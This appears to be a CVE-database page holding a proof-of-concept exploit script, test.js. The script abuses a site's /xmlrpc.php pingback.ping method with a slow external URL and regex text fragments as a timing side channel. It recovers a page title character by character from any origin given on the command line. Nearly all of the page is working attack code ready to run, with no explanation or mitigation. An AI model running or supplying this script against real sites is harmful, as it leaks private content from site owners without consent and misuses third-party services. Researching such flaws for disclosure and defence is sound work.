4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / test.js JS
import fetch from "node-fetch";

const lowercase_ascii = "etaoinshrdlucmfwygpbvkxjqz";

function oracleRequest(origin, regex, context = null) {
    const body = `<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
      <param>
         <value>
            <string>http://httpstat.us/200?sleep=1000</string>
         </value>
      </param>
      <param>
         <value>
            <string>${origin}/#${regex}</string>
         </value>
      </param>
   </params>
</methodCall>`;

    const controller = new AbortController();
    const startAt = Date.now();

    let duration = null;

    fetch(origin + "/xmlrpc.php", {
        method: "POST",
        body,
        signal: controller.signal,
        headers: {
            "Content-Type": "text/xml"
        }
    }).then(() => {
        duration = Date.now() - startAt;
    }).catch(() => {
        duration = Date.now() - startAt;
    });

    return {
        getDuration: () => duration,
        abort: () => controller.abort(),
        context,
        startAt
    };
}

function awaitOracleRequest(oracle) {
    return new Promise((resolve) => {
        const timer = setInterval(() => {
            if (oracle.getDuration() !== null) {
                clearInterval(timer);
                resolve(oracle.getDuration());
            }
        }, 1);
    });
}

async function calculateBaseline(origin) {
    const durations = [];
    for (let i = 0; i < 7; i++) {
        let duration = await awaitOracleRequest(oracleRequest(origin, "sp1d3rp1gggg"));
        durations.push(duration);
    }
    return (durations.reduce((a, b) => a + b, 0) / durations.length) + 1000;
}

function oracle(origin, prefix, baseline) {
    const pendingRequests = [];

    for (let char of lowercase_ascii) {
        pendingRequests.push(oracleRequest(origin, prefix + char, char));
    }

    return new Promise((resolve) => {
        let timer = setInterval(() => {
            for (let i = 0; i < pendingRequests.length; i++) {
                if (pendingRequests.length === 1) {
                    const resolved = pendingRequests[i].getDuration() !== null;
                    const approxDuration = Date.now() - pendingRequests[i].startAt;

                    // if the request has not been resolved yet
                    // and the duration is greater than the baseline
                    if (!resolved && approxDuration > baseline) {
                        clearInterval(timer);
                        resolve({ char: pendingRequests[i].context });
                        pendingRequests[i].abort();
                        return;
                    }

                    // if the request has been resolved
                    // and the duration is less the baseline
                    if (resolved && pendingRequests[i].getDuration() < baseline) {
                        clearInterval(timer);
                        console.log("resolved to a space!");
                        resolve({ char: " " });
                        return;
                    }

                    continue;
                }

                if (pendingRequests[i].getDuration() !== null) {
                    pendingRequests.splice(i, 1);
                }
            }
        }, 50);
    });
}

async function main() {
    // get origin and prefix as cli inputs
    if (process.argv.length < 3) {
        console.error("Usage: node index.js <origin> [prefix]");
        process.exit(1);
    }

    const origin = process.argv[2];
    let prefix = process.argv[3] || "";

    const baseline = await calculateBaseline(origin);

    while (true) {
        const result = await oracle(origin, prefix, baseline);

        // if prefix last char is a space, and the result is a space, break
        if (prefix[prefix.length - 1] === " " && result.char === " ") {
            break;
        }

        prefix += result.char;

        console.clear();
        console.log(prefix);
    }

    console.clear();
    console.info("Done! the title is:", prefix.trim());
}

main();